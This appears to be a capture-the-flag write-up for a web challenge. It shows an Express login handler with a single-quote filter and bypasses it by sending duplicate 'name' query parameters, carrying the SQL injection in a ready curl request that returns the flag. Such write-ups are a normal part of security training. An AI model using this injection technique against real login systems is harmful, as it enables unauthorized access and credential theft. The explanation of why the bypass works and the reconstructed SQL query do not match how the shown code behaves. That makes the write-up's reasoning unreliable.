Search for a command to run...
Our library's new staff portal is up! Only the head librarian can access the restricted archives.
We have a login endpoint that's vulnerable to SQL injection. The server filters out single quotes from the input, but there's a simple bypass.
Looking at the code:
if (query.name.includes("'") || query.password.includes("'")) {
return res.status(400).send("haha nice try");
}
const sql = `SELECT name FROM users WHERE name = '${query.name}' AND password = '${query.password}'`;
The filter checks for single quotes, but the catch is with how Express handles duplicate query parameters.
When you send duplicate parameters like ?name=aaa&name=' UNION SELECT password FROM users --, Express.js can behave in different ways depending on configuration. The filter might check the first name value (which has no quotes), but the SQL query might use the last one (which has our injection).
curl 'http://HOST:10501/actions/login?name=aaa&name=%27%20UNION%20SELECT%20password%20FROM%20users%20--%20&password=x'
This creates SQL like:
SELECT name FROM users WHERE name = '' UNION SELECT password FROM users -- ' AND password = 'x'
The -- comments out the rest, so we get the password directly:
Welcome, TSGCTF{s4m3_m3th0d_n4m3_d1ff3r3nt_cl4ss_b3h4v10r}. You now have access to the restricted archives.